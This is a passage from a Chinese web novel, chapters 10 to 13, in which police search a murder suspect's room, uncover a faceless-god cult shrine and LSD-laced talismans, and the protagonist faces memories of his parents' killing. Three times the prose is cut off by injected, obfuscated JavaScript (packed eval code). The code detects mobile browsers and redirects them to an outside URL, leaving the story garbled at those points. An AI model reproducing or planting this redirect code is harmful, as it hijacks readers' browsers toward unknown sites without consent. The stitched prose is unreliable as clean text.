“嗯?”江桢走神地随口答应一声,眼睛还死盯着电脑屏幕,连点几下鼠标,把照片放至最大。 “我问你,当初你——” “等下,你看这个。”江桢打断他,声音里有兴奋也有疑惑,似乎不能理解自己看到的东西为什么会出现在现场照片里。 被他转过来的屏幕上,几颗珠子散落在洪二发出租屋的地板上,江桢切换照片,仔细看去,堆在角落中的纸钱袋子上也有同样的东西,在脏污黯淡的塑料袋上幽幽地泛着光。 同样的东西,他们下午刚刚见过。 那是一条断掉的琉璃手链。 10.第十章 凌晨一点,长宁河岸棚户区。 几栋老砖楼突兀地立在大片平房之间,砖楼的走廊内,几道急促的脚步由远而近,黯淡的钨丝灯似被惊动,噼啪响着发出最后一丝光亮。 嘶啦—— 宋柏走在最前,撕开封条,进入洪二发租住的小屋。身后跟着江桢和技术队吕静柔,她白天参与了现场复勘,在回家路上接到电话,带他们重新进入现场。 江桢有条不紊地在门口穿鞋套,即使外面是夏天,砖楼无窗的楼道里还是潮湿阴冷的,他脸色苍白,身上披了件警服外套,衣袖和下摆处有点大,明显不是他自己的。 这是个狭窄简陋的通间,站在门口一眼可以看到摆在窗下的单人床。房间出乎意料的干净,除了堆在床边未拆封的香烛纸钱,没有其他杂物,就连床上的被子都是叠好放在床头的。 钢架床另一侧的地面上放着一只打开的黑色行李箱,里面叠放着包括工服在内的几件衣服,似乎是被拿来充作衣柜。 空气中弥漫着一股若有若无的气味。很淡,像是放久了的樟脑球,又更加柔和。 吕静柔啪一声按亮顶灯,已经走到床边的两人都下意识低头避光,江桢蹲在那只行李箱边,就手翻了翻里面的衣物,随着衣物翻动,那股气味越发明显,他只觉得记忆深处的某个词汇和这香味存在游丝般的联系,但太微渺久远,他想不起来。 “痕检已经翻过了,这箱子里没有血衣,只有证件和一点现金。”吕静柔说。 宋柏蹲在另一侧,把他们要找的琉璃珠一颗一颗捡进证物袋中。从照片看,珠子像是手链绷断之后散落,洪二发没有来得及捡起收拾就出了门。 如果是站在床这个位置弄断了手链……江桢把箱子里的衣服都翻了一遍,可一颗珠子都没有。 他想了想,问吕静柔,声音有点哑:“证件和现金是放在一起的吗?” “嗯,左边夹层,还有些个人物品,我们检查没问题之后放回去了。” 江桢拉开已经不太流畅的拉链,夹层很深,挨着开口处的是技侦放回去的东西,包括证件、钱和一张照片,江桢翻过来对着顶灯仔细看:一张全家福,年轻了许多的洪二发一手搂着同样年华正好的女人,一手抱着尚小的孩子。 夫妻俩对着镜头露出腼腆羞涩的微笑,洪二发一脸柔和,简直和白天大闹分局的杀人犯判若两人,显得和那证言中浑身浴血的凶徒无比割裂。 另一边宋柏已经捡起所有的琉璃珠,把它们放在证物袋上试着摆成一串,但怎么看手围都太小了一些。 这么小的手链,别说是洪二发一个中年男人,就算是成年女性也很难戴进去,看起来只有小孩能戴。 江桢凑上去看,珠子很平常,只有几颗。他想了一会儿,翻了翻香烛袋,没有他想找的东西,便干脆趴下身把手伸/进床底摸起来。 “下面我们也看过了,没有东西。”吕静柔对痕检的工作相当自信,“连一颗老鼠屎都没有。” 宋柏问:“你找什么?” 江桢揉了揉鼻尖:“线。如果这条手链是戴着时断开了,珠子掉了一地,那断开的弹力线呢?线会留在某个或者某几个珠子里,最少也会在地上吧?” 宋柏跟着明白过来:他们找到的手链还不完整。 江桢说完停顿了一下,又摸进行李箱的夹层,这次他摸得格外仔细,以防柔软、容易被当成线头的弹力线落在底层。他的手指顺着粗粝的布料向下,意外地,触碰到了一个撕开的、边缘不整齐的地方。 一个……破洞? 这个老式行李箱内/侧是双层的,使用年久,夹层底部磨得破开了一小块,江桢用手试了试,只能过去两根手指。 他把手抽出来,沿着双层的布料向下摸,果然,快到行李箱底部的地方有一个小小的凸/起。 宋柏凑上来摸,也摸到了。 两人对视一眼,心脏不约而同地怦怦跳动起来。 宋柏对吕静柔说:“帮我拿把剪刀。” 尼龙布并不很好剪开,宋柏一直剪到靠中间的位置,剪刀的前端才碰到一个硬物。 他伸手掏出来:一/大颗长椭圆形像是木头雕刻的珠子,中间还挂着断开的弹力线;一枚小钥匙,和弹力线缠在一起。他掂了掂,这两样东西都挺沉,估计因此才从洞中漏了下去。 他仔细看那颗珠子,不由得“嗯?”了一声。江桢闻声凑了过来,空间窄小,两人不得不肩膀挤着肩膀,他闻到江桢被熟悉的淡淡的薄荷叶香气笼罩,那是属于他的警服外套上洗衣凝珠的味道。 也许是白天呛了水,入夜之后江桢就有点发低烧,但精神看着还好。作为从照片上发现端倪的人,他执意要到现场看看,宋柏勒令他喝了一袋感冒颗粒,又多穿了件衣服。 “这是什么?”吕静柔俯身,马尾发梢呼地滑到身前,她皱起眉打量被宋柏竖捏在手中的木珠子,“这人怎么没有脸?” 这是一颗精工木珠,整颗珠子竖起来看是个盘腿而坐,双手持印的人像。人像半袒身子,连布料褶皱都被刻了出来,脸却被粗暴地抹去了。 江桢就着宋柏的手转动木珠,数道:“一,二,三……” “你在数什……” 宋柏问到一半,愣住了。人像背后左右两侧各有三条手臂,手中各持宝器,因为太小而分辨不清究竟是什么。六条手臂弯成不自然的角度,看起来格外柔软,更像舞动的蛇。看这颗木珠其他地方的细节,这绝不是雕工不好所致,而是刻意为之。 “这是——” “神像。”江桢拇指隔着手套摩挲木刻起起伏伏的纹路,想要借此唤回些许记忆,“看起来有点眼熟。” 宋柏把琉璃珠子和木珠放到一起,拼凑成一串完整的手链:“你见过?” 他望过来的眼睛带着些许审视,神情和白天问起手心那条疤时一模一样。江桢凝望木珠半晌,放弃般叹了口气:“没,就是觉得有点邪,可能恐怖片里有吧。” 说罢他拿起另外一个发现——那枚小钥匙,在屋里转了一圈,没找到上锁的东西,在门外试了试,也不是家门钥匙。 他的表情这才有些奇怪起来:“屋里原本有锁上的东西吗,柜子之类的?” 吕静柔摇摇头,问:“会不会是随手塞在夹层里忘了的?” “不会。”宋柏冲被拿出的照片和证件扬扬下巴,“他只把最重要的东西放在这里,身份证、钱、全家福照片,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们……你们看。”吕静柔连声音都在颤/抖。 顺着她手指的方向,映入眼帘的先是一张坐垫,表面布料已经破开,看上去已经用了很久;蒲团前摆着木桌,木桌上坐着一只铜像,身体半坦,双手持印,六条手臂如狂蛇舞动在身后。 黑漆盖住了铜像的脸。 铜像左右是两个白底红字石牌,左边的写“爱妻,焦秀兰”,右边的写“慈母,孔福梅”,竟是两个灵位。 这张被当作香案的木桌边还放着几乎燃尽的线香,香炉中积着的厚厚一层香灰随风扬起,地面上纸符簌簌作响,江桢的瞳孔瞬间不受控制地放大,那黏着类似焚香气味的画面旋即浮出记忆之海—— 女人跪在自家缝制的蒲团上,面对一方小小的神龛。水晶念珠在她手中发出喀啦喀啦的轻响。暗红发光的电子香烛照亮她餍足的脸,她转过身,把他搂进怀里。 好闻的烧香气味钻进鼻腔,年幼的江桢茫然地伏在母亲肩头,看着供桌上身披红布的神。 他努力睁大眼睛看神,而那神没有脸。 11.第十一章 手电筒的光在神像铜制的身体上流转,漆黑的神面却像黑洞一般,似乎要把外界的光芒和众人惊疑的眼神吞噬殆尽。 夜风钻过集装箱金属合板的缝隙,那呼啸声落在江桢耳中,如同隔了一层无形的水波,并不真切。 层层涌上的记忆之潮将他淹没至顶,这间因简陋而格外吊诡的神堂令他想起童年,在每一个平静安稳的日夜,他的母亲似乎也曾跪在类似的神像前参拜,但那画面太久远了,母亲的面容甚至都是模糊不清的。 她当时拜的神像有脸吗,和这个神像一样吗? 有没有可能因为时间太久,他忘记了神像的脸,实际上她只是在拜佛? 为什么类似的神像会出现在这个现场、这个案子里? 他越是深思就越像纵身沉入海底深渊里,久未谋面的遥远故乡上发生的一切都如蒙迷雾,手心的疤感应般泛起丝丝缕缕的痒痛,深/入骨髓的恐惧令胸口阵阵发闷,可他控制不住地想下去、想下去—— “江桢。” “呼吸。”一只手忽然按在他的后心。 那个瞬间一切模糊却血腥的回忆如被擦除般消失不见,江桢不由得打了个激灵,这回他听清楚了,那是宋柏的声音。 “吸气。” 江桢呆呆抬起头来,宋柏上来就板住他的下巴,这个暧昧的动作令他僵住几秒,旋即空气从被迫张开的口中吸入,江桢猛呛一下,大脑因短暂的窒息空白了片刻,这才发现刚刚自己在无意识地屏气。 宋柏和他面对着面,近到鼻尖几乎贴在一起,江桢感到按在后心的手在上移,不想让他逃跑似的扣住了他的后脑勺。手心的温度不容忽略,把他轻轻带回现实。 宋柏说:“跟着我吸气,吸。” 江桢顺从地照做。 几个深呼吸之后,纷乱的情绪暂时缓解,宋柏这时才松开了他。 吕静柔也投来关切的目光:“小江警官,你还好吧?脸色好差。” “没事,我……”他迎着宋柏那锐利而能看透一切的目光,掩饰般勉力笑了一下,拙劣的解释却哽在喉咙里。 罕见地宋柏什么都没问,反而抬手盖住他的额头。就算只是用余光,江桢也瞥到吕静柔的眼神瞬间变了。 他忙往后仰想要躲开,没想到宋柏只是迅速地试了试他的额温,仿佛并不觉得这动作过于亲昵。 “你烧得更厉害了。”宋柏说完,一只手横在他胸/前,就这么把他拖进警车,直到堪称流畅地被塞进副驾驶,江桢才稍微反应过来一点。 宋柏没急着关门,而是俯身打开副驾驶前的手套箱翻找,空间有限,江桢不得不尽量向后靠住座椅,给宋柏让出地方。借着副驾这一边的侧视镜,他看到自己脸上毫无血色,眼下已经有了熬出的淡淡乌青,这样的脸色,说没事确实没什么说服力。 江桢下意识想要捂脸叹气,手腕却正好和宋柏手撞在一起,刚刚的种种过度亲昵简直令他神经紧绷到了极点,下意识缩回手往窗外吕静柔那边看,还好,对方正打着手电认真观察集装箱内的东西。 “看什么呢,贴上。”宋柏甩来一片东西在他膝盖上,那是一片儿童退热贴。 江桢诧异道:“警队里还备着这个?” “夏天带着防止外勤中暑。” 看不出来,宋柏原来还是一个比较体贴的队长。 吕静柔那边有所发现,叫到:“宋队,你来看!” 宋柏答应了一声,转回头来说:“你睡一会儿。” 说罢,他关上车门大步向集装箱那边走去。江桢盯着两人的背影看了一会儿,确定他们不会突然调转回来,掏出手机,打下“林台坡杀人案无脸神像”几个字。 这个词条显然在他手机的搜索引擎框内出现了无数次,输入法甚至都记住了林台坡这个名字。 林台坡,江桢的故乡。 二十多年前的一个普通夜晚,一个陌生男人闯入他的家。随后他父亲被杀,母亲失踪,他五岁,被掐晕之后醒来,看到满地是血。邻居听到他的声音报警,案子却迟迟未破,那个带走他母亲的男人如同人间蒸发。 他辗转进入县福/利院,后被江起山跨省带回章宁。 不要告诉别人你是那桩命案的幸存者,凶手在逃,而你见过他的脸,很有可能再找上门来。远远地走吧,去和江警官安安稳稳地生活吧。启程之前,当地警方多次到福/利院这样叮嘱他。 也许是这样的心理暗示让他在之后的岁月里刻意模糊了五岁前的记忆,如今对生父生母的印象几乎没有多少了。 连被集装箱内的情景勾起的回忆,他都不确定是不是真实的。 果然,不管怎么换关键词都检索不出有效的信息。这桩九十年代的悬案本就没有在网络上留下什么痕迹。 码头很黑,车内也没开灯,黑暗中手机屏幕的强光刺痛他的眼睛,仿佛有一块烧红的铁块从眉心处烙入,脑内不能忽略的胀痛迫使他闭上眼睛,想要休息一会儿。 呜——呼—— 风有愈演愈烈的倾向,江桢向下溜了溜,把脸埋在宋柏的警服里。他后知后觉地发现,宋柏竟然还维持着用薄荷味洗护用品的习惯,十年了。 这气味仍然令他感到无比安全。 . “痕检准备撤了啊,哎呦我的腰,来整理一下证物箱……” “卧/槽哪儿来的这么多破烂玩意儿,这又是啥?” “早饭吃啥,包子行吗?” 杂乱的脚步,一来一回的人声、吆喝模模糊糊地传进车厢,后排车门被人拉开了,整辆车随后晃动了一下,有人上车。 江桢睁开眼,发现这一觉竟然睡到了清晨,后座是刚上来正在啃包子的杨繁,见他醒了,扬起手里的袋子问:“来一个?猪肉大葱的。” 原本沉寂的旧码头热闹非常,外勤警员、痕检队走来走去,看来他们是接到宋柏电话后趁夜赶到的,天光将亮时终于搬空了集装箱里所有的东西,正在一一拍照清点。 “不吃了。”他伸手搓了把脸,整个上半身都向后拧去。 车后排敞着门,杨繁一条腿支在外面,呼呼吹着刚咬开的包子馅儿,一看他,愣了一下:“你脑袋上什么玩意儿?” 江桢“嗯?”了一声,随后反应过来:“哦,退热贴。宋柏说是给你们准备防止中暑的退热贴。” 杨繁脸上一片空白,张开嘴,热腾腾的白气从他悠悠从他口中冒出来:“啊?” 他在江桢疑惑的眼神中欲言又止,像是想说“宋队从来没给我们准备过这玩意儿,这很贵吧,便利店卖三十多块一包”,但又因为某种近似求生欲的第六感硬是停住了。 江桢看着杨繁脸上风云变幻,从惊讶到了然,最后大彻大悟,“啊!”了一声。 “怎么了?” “没事没事,还有吗,给我也来一片,我也热。”杨繁三两口吃掉了包子,接过江桢递来的退热贴,啪地往自己脑门一拍,“别急,现在下去也散场了。亏得你们找到了这个集装箱,痕检有重大发现,一会儿回去要开案情会,你赶紧趁这工夫吃口早点吧。嘿,洪二发这孙子……” 集装箱外的空地上,那些吹出的黄符都被收拾干净了,估计已被收走,明显最重要的无脸神像还在拍照,等待套袋贴签。 江桢用询问的眼神看向杨繁,后者点点头,声音带了一丝他自己都没有觉察的沉重:“邪教没跑。痕检在集装箱里找到了他的笔记本,什么登仙、伏魔、驱鬼,乱七八糟的东西写了整整三本。神像左右不是供着骨灰盒吗,笔记本上写了,马上他就要成伏魔大将军了,只要恶鬼伏诛,他老婆和老娘立马就能登仙,你说这人脑子是不是有病?” “……确实病得不轻。”江桢听得云里雾里,刚睡醒脑子还在宕机,下车抽烟。 清晨的空气带着一缕新鲜的土腥,在车厢里闷了一晚,睡得身体酸痛,因此一天里第一支烟格外醒神。 不远处,宋柏正背对着这边打电话,看来一宿没睡,脸上却不见疲色。 这人可真能熬啊。江桢腹诽一半,宋柏忽然似有所感地转过身来,目光向下一移,正对上他夹在手指间吸了一半的烟。 听着电话,宋柏的眉梢微妙地扬起,那表情似乎在说,“你还敢学会抽烟?”。 江桢本想再吸一口,被宋柏这么一看,心虚地垂下手,又顿了顿,干脆把半截烟扔了,还主动自觉地用脚尖踩着碾了碾,才走上前。 宋柏正好挂断电话,看他脸色好了不少,问:“退烧了?” “退了退了,刚来电话的是谁?”江桢怕他当着那么多人还拿手试,又往边上退了两步,扯开话题。 “吕静柔。有一批纸质物证,我让她先带回技术队检验,刚来了结果。”“怎样?” “查出了lsd成分,在符纸里。” 江桢停顿数秒,一个念头迅速在脑海中成形:“洪二发喝符水?” 果然,宋柏点了点头。 信教拜神到洪二发这种走火入魔的程度,最有可能会入口的就是符水。民间盛传“符水非凡水,服之百病消散,邪鬼粉碎”,又有两种不同的喝法:烧灰入水,待灰沉底服下;把符水投入水或中药里,煮沸后喝。 “你去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362101|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补觉之后,我们在集装箱的供桌上发现了泡着黄符的杯子——他平时就会泡符水喝,但那杯水里并没测出什么。实际上,集装箱里那么多符纸,真正含有致幻剂成分的只有两张,纸质和其他符纸略微不同,看起来略新。” 宋柏把他拉到不挡路的边上,打开手机,相册里赫然是杨繁刚刚提到的洪二发的笔记本里的内容。 “我有了一个想法,你看这个。” 照片按记录时间逐页拍摄了宋柏认为比较关键的内容,上面是一些文字和零碎的简笔画。该说洪二发确实有些天赋,江桢看了两三页就意识到,他是用这种形式记录了一个故事。 故事说,现在是末法时代,地狱中的恶鬼伪装为人危害人间,有一位自在之神,他的信徒寻找恶鬼,除鬼正道,吞噬恶鬼,以自身度化之,这样的信徒被称为伏魔大将军。自在神将赐予伏魔大将军灵药,驱鬼后服下,如登仙界,可不受恶鬼蒙昧,本人与家人都可以脱离苦海,得道成仙。 这段故事里,佛教和道教的概念都混在一起,又是地狱天堂又是神仙妖怪,好像还掺杂了中西方元素,看起来神神叨叨,不知所云。 但是,如果把他们现在手头的案情稍微代入进去,故事就会变成这样:信徒洪二发奉神命除灭伪装成人的恶鬼岳小伟,自在神欢喜非常,赐他灵药——黄符三道。 洪二发那抽象而辨识不清面容的画上,嘴有尖牙,四肢细长而肚腹鼓起的狰狞恶鬼下方,标着一行地址。 那是岳小伟寿衣店的地址。 江桢迟疑地说:“你是说……” “现在我们知道洪二发是这个自在神的虔诚信徒,笃信恶鬼扮人一说。他的前半生并不顺利,丧妻失子,中年丧母,孤家寡人。如果有人告诉他,这一切都是恶鬼导致的,只要除掉恶鬼家人就可以登仙呢?” 宋柏指着其中一页笔记:“这里甚至写了,伏魔将军要吞噬恶鬼,以自身度化恶鬼,这是不是也可以和洪二发吞食岳小伟的心脏组织对上? “如果那个人还给了他含有强效致幻剂成分的符纸,并告诉他,‘灵药’要在除掉恶鬼之后服食才有效,你说他会不会迫不及待地就在杀人现场吃下那道符纸?” “灵药”与之前多次泡水服食的黄符别无二致,洪二发根本不会犹豫也不会拒绝,而在将浸过lsd溶液的符纸吃下后,五到十五分钟,药物开始发挥效用。 在一室血腥中,半生蹉跎的洪二发看到寿衣店的纸扎将军从墙上走下,胯/下骑着威风的骏马,八臂无面自在神双手持降魔印,慈悲垂目,唇角噙着一丝微笑,就连早年离世的妻子也回到他身边,羽衣轻飘如云,怀中抱着一个男孩儿,那是他走丢的宝贝儿子洪军…… 他真的“登仙”了! 纷乱而复杂的线索碎片,终于在这个神堂得见天日时被慢慢拼凑完整,江桢头皮发麻,夏天上午的太阳虽然毒辣,手心背后却都出了一层冷汗。 现在的问题是,是谁给了洪二发“灵药”? 是朋友佩戴和洪二发款式类似手链,又和lsd早有牵扯的李想,还是暗中另有他人,谁是这个自在之神在人间的话事人? “那个铜像和木雕珠看着最古怪,不像是批量生产出的东西。找到制作它们的人,说不定会有新的发现。”宋柏说着,环视一圈。 所有物证都已搬运上车,现场封/锁完毕,警员们三三两两,倚在警车边喝水休息。 “上车吧,回去开会,我们还要再把思路捋一捋。” 江桢闻言没动。 “怎么了?”宋柏已经往前走了两步,回过头不明所以地看着他。 “那个……”江桢眼观鼻鼻观口口观心,问,“你不管我抽烟?” 对于他这种主动上门自我检举揭发的有觉悟行为,宋柏似乎有点意外,但那点意外转瞬就被一声冷哼盖过了:“你还知道抽烟不好?” 江桢一时语塞。 “不好还学?谁教你的?发烧还抽?还不交上来?” “……”江桢被迫双手奉上烟盒,只觉得自己刚刚的行为就像下课问老师今天怎么没留作业一样幼稚可笑。 两人上了车,后排杨繁脑门上贴着退热贴昏昏欲睡,被宋柏一眼刀醒,爬起来就要去开车。宋柏把他一拦,伸手撕下退热贴,质问道:“谁让你用这个的?” 杨繁百口莫辩:“这,这不是队长您给外勤警员买的防止中暑……” “这要三十多块一包,没事别瞎用。”宋柏反手,pia一下把退热贴拍到江桢后颈,在两个人饱含疑问和震惊的眼神中启动车子,调头,往分局方向开去。 12.第十二章 “一碗牛肉面,要二细。”“老板,多加一份牛肉!”“有没有辣椒啊?” 没想到过了饭点,分局楼下的牛肉拉面店生意还是非常火爆。这间店地段紧俏,不大的店面里摆满了小桌子,充分利用狭窄的空间。 宋柏和江桢两个人对坐在靠墙的一张小桌前吃面,桌子实在是太小了,放下牛肉面的两个大碗之后就不再有富余地方,江桢闷头只顾吃面,生怕抬起头会和宋柏的脑袋撞在一起。 在派/出所摸爬滚打了一年多,他吃饭还是比别人慢,吃几口面就要喝口汤,即使是这种软乎的食物也要仔细咀嚼。宋柏那边唏哩呼噜,恨不得两筷子结束战斗,和他天差地别。警察干久了,职业病也体现在这儿,吃饭慢不了,案子不等人。 “那几颗在洪二发家里找到的琉璃珠没有问题,就是普通的琉璃珠。仲夏说这种手链现在很火,不光是化智寺卖,周边的宗教用品店、摆摊的小商贩,甚至淘宝网店都能买到。”宋柏抹了把额间吃面吃出的热汗,看见江桢仔细地把面汤里的胡萝卜片挑出来,堆放到另外一边。 又挑食。胡萝卜有那么不好吃吗?每天吃三根胡萝卜能有效预防心脏疾病,不比吃什么辅酶保健品要好? “嗯,那条手链上可能只有木珠比较重要,所以洪二发才会把它单独收起来。要是那天再看仔细点,看看那个女孩的手链上有没有类似的东西就好了,她叫什么来着?”江桢抬头,看见宋柏锁着眉,紧盯着自己碗里的胡萝卜片,好像被欠了八万块一样,不由得问,“怎么了?” “叫柯茹,查了她的户籍档案,本地人。大学是本市的语言学院,读的小语种,目前在给李想做助理。平平无奇,往上翻三代都没有犯罪记录。已经出了一个探组跟着她,虽然……”宋柏极其自然地伸筷子过去,夹起胡萝卜,咬得咔咔作响。 江桢:“!” 作为家里最大、胃口也最好的孩子,宋柏没少处理宋杳和江桢的剩饭。不怪他下意识吃江桢的碗里剩,因为郑曼冬女士从小就把他当全自动垃圾桶培养。 “别,别。”江桢没想到宋柏还保留着他转学出去前的习惯,忙探出筷子阻拦,把胡萝卜往自己这边扒拉两下,干脆一口气都吃了进去。 这家店菜码给得多,那么多胡萝卜片把他塞得两颊鼓起,他含糊地说:“继续,继续说。” “虽然现在没有直接证据指向她和李想,但事情不可能那么凑巧——碰过‘邮票’又没坐牢的人只有他还有行为能力,他朋友的同款手链凶手也有,我总觉得这案子和这个李想脱不了关系。” 宋柏看他吃着吃着眉梢便稍微耷拉下去,紧接着皱起鼻子,都咽下去了立马大口喝水,似乎觉得挺有意思:“你现在还是不吃胡萝卜,不吃带刺的鱼,不吃鸭血不吃内脏不吃香菜?” 江桢对他隔这么久还能记那么劳有点意外,大方承认到:“对,你要回去告诉我妈吗?” 宋柏原本要笑不笑,听他这么一说,已经微微勾起的唇角顿时抿起,心里诧异地琢磨,是哪件事在他心里留下了“宋柏”这个人会打小报告的印象,又是什么时候,他都学会顶嘴了。 “其实还有一件事挺让人在意的。”江桢慢慢把面条捞完了,擦嘴,把用过的纸巾叠成规整的长方形。 宋柏心领神会:“为什么岳小伟会被视为恶鬼。” 江桢虽然之前在基层没有办过重要的案子,但拥有与生俱来的敏感,上学时宋柏一直觉得他太懂得察言观色了,不能把江起山夫妇当作亲生父母令他常年带着寄人篱下的战战兢兢,这样在学校就格外容易被别人拿捏欺负,没想到如今敏感和敏锐仅一字之差,变成了他比别的新警多出的优势。 短短两天而已,江桢不仅跟上了高强度的工作节奏,就连思考方式也堪称老到,不知在警校念书时暗自多努力了多少。 “这就要看我们能顺着神像和木珠这条线摸出多少了。” 宋柏起身结账,江桢跟在后面:“不能总花你钱,饭钱多少,我摊给你。” “摊给我?”一瞬间宋柏语气有些古怪,反问,“怎么摊?” “微信红包啊。”江桢打开微信,在联系列表里找了个来回,先是“咦?”了一声,然后猛然意识到什么,赶紧捂住手机屏幕快速操作起来。 ——十年前,他转学离开章宁的当天就把宋柏的微信拉黑了。 他把宋柏拉出黑名单,若无其事地发了红包过去。宋柏的微信昵称和头像都没有变,还和之前一样,仿佛十年空白并不存在。 宋柏点开聊天框收红包,江桢余光瞥到上方一连串红色感叹号,都是因为被拉黑而未发出的消息。他一直这样发消息吗,每天对着不会回复的聊天框? 江桢的心像被轻轻攥了一下。 宋柏就要去开车。他们接下来要查那看起来时手工雕刻的木珠的来源,第一站打算去这类物品的聚集之地化智寺。江桢想了一下,握住宋柏的手肘,他很少主动触碰别人,宋柏有点意外地回过头。 “等一下,”江桢修长的手指搭在宋柏纱布包裹的虎口,在那儿多留了片刻,“先上楼,我帮你换了药再走吧。” 宋柏低下头,垂在身侧的手指尖微动,连他自己都没意识到,那其实是一个想要搭上对方的手而又下意识克制的动作。 两人并肩走到分局门口,戴奇领着杨繁从里面出来,四个人打了照面,戴奇说:“正好,还不用给你们打电话了。我们查了一下那个神像,发现这东西在民间还真的出现过,八/九十年代,南方小部分地区以它为信仰,教团自称‘自在门’,你们猜为什么他们给自己起这么个名字?” “捡重点说。”宋柏并不配合戴奇卖关子。一旁的江桢本来认真在听,听到南方小部分地区时他神情微变,但那变色转瞬即逝,在别人看不到的地方,他手指回蜷,用力攥住了掌心。 “南方信仰繁多,有的地方甚至村与村信神都不相同,但它们往往又各有联系,彼此互为融入当地文化的变种。这个自在神就属于这种情况,它的原型其实是婆罗门教的湿婆,也就是大自在天。但是大自在天至多只有六臂,八臂无脸的神像应该是与当地文化融合之后被创造出来的变种。自在神在南方被奉为护/法神,九十年代时在化州的清昌坝区、林台坡、江兴沿海香火极盛。” 来了。 听到林台坡这个名字从戴奇口中说出来,江桢忍不住闭上眼睛。 不要让人知道你是林台坡那起命案的亲历者,更不要和别人描述详细的经过,不要和人说你看见了凶手的脸,不要把别人卷进来。即使闭着眼,他的面前也仿佛还摇曳着模糊的绿影,那是老式的刑警制服——很多人围着他,口中说着早已陌生的乡音,像某种喑哑、带有暗示的吟唱: 少说给别人听,不要让无辜的人卷进来。 江桢睁开眼,愈演愈烈的嘈杂众声退潮一般,回到脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江桢没有回答,用药棉反复擦着伤口,不知脑子里在琢磨些什么,似乎没意识到自己已经碰到了破开的皮肉里面,直到宋柏抽气,才打断了他的心不在焉。 “我抽烟你眼馋?”宋柏也不生气,把他的手拍开,自己取一截新绷带绑了两绑,从办公桌抽屉里取出一/大包棒棒糖。外文包装,看起来是不便宜的进口货,上面印着两个硕大的“vc”花体字。 “给你的,和卫洲的软糖差不多,说是能补充维生素,戒烟吃这个。”他把棒棒糖塞进江桢怀里。 “其实不用这样……真的。”江桢声音很小。 “什么?” “你不用这样,宋柏。” 江桢捧着那袋孩子气的礼物,冲他笑了一下。宋柏发现他的笑比原来多出了很多,但也复杂多了,让人看不明白。 他本能地觉得江桢笑得并不由衷。 “你说得对,我是二十六岁,不是十六岁了,你根本不用像过去那样管着我。你这样太越界了。”江桢说到这里,仿佛吐字对他而言有些艰难似的,卡了一下壳,“你现在是支队长,我是小警察……我不想让别人说我是关系户。” 说罢,他也不看宋柏,一手摸进口袋,掏出自己的烟盒,取出一支点燃。 这么近的距离,宋柏才发现,其实对方抽烟很娴熟,算得上老烟枪了。烟雾浓重而呛人,江桢的眼神令他感到些许陌生。 他根本称不上了解江桢。 13.第十三章 良久宋柏都没有说话。 他其实不是一个脾气好的人,看得出来他对下属要求格外严厉,遇到案子,就连仲夏吕静柔这种女警员也是要跟着连轴转的,在队里待了几天,除了和他混得最久的副手戴奇,像杨繁之类的小警察都是有点怕他的样子。江桢受了两天的特别优待,刚刚这番直白的拒绝,要是让别人听见,那简直是有点不知好歹了。 宋柏会怎样?发火,让他滚回派/出所?毕竟他刚进队里,已经干出了跳桥、殴打嫌疑人这一连串让人头疼又严重违纪的事情。 江桢抽完了烟,抬头等着宋柏的反应,心里有种一把按在作痛伤口上的痛快/感。 宋柏果然眯起眼,眼角因此显得特别锐,衬出周身刀剑一样带着冷兵寒光的气质。他比江桢高,就这么位垂眼睛打量对方。在无形的压迫感中,江桢强迫自己继续和宋柏对视,后者那无情绪的眼珠分明一动没动,可江桢就是觉得如芒在背,仿佛整个人都被剖开了,一览无余地放置在宋柏面前。 宋柏问:“你见过那尊神像吧?” 江桢的心跳乱了一拍。 宋柏太了解他了,那熟悉程度根本没有因常年不见消磨掉哪怕一丁点。 即使是在更加紧要甚至危急的时刻,江桢都没有像现在这样紧张,几秒钟的时间里,他迅速感受了一下身体的每一个部分,确定自己真的没有异样,才回答说:“没有,没见过。” 他没想到一件最简单的事情:被问及细节,尤其是涉及要紧案情的细节时,一般人都要回想许久,而他否认得太快,也太干脆了。 “九几年你正好在玉雄福/利院,那儿离戴奇刚刚说的林台坡挺近,你的老师或者出去遇到住在附近的人什么的,他们从来没提起过自在神?”宋柏的目光像要把他钉穿。 江、宋两家住在章宁大学附近的家属院,邻居互相认识,所有人都知道他是江起山领养的孩子,因此玉雄福/利院在两家人心里堪比禁/忌,他们都以为长久地不提起就可以假装它不曾存在,江起山夫妇视江桢为己出,同时尽一切所能让他也能这么想。 但江桢很难假装不知道养母挨家挨户上门送上水果,请他们在孩子面前少些闲言碎语。 他来时宋柏已经懂事了,像哥哥一样维护着他的体面,“福/利院”“孤儿”这些词宋柏从不会说。 宋柏的语气如此自然,就这样轻易地把他自己小心维系了很久的东西撕裂了。 这下江桢反而感到一点自在:宋柏本就应该怀疑他,质问他,在十六岁他们共度了那个夜晚之后。 他挺高兴宋柏如旧的照顾没有发展到令他惶惑不安的程度。 “你是故意戳我痛处的吗?”他把无辜而不快的语气拿捏得十足到位,“我那时候很小,爸妈都死了,我很害怕,每天都哭,没空管谁信教,谁是无神论,也从来没有出去过。” 宋柏的沉默令办公室中的气氛剑拔弩张,他思索了一会儿,好像在想自己应不应该这么说,但随后下定决心似的问:“你从来没说过亲生父母的事情,他们是怎么去世的?” 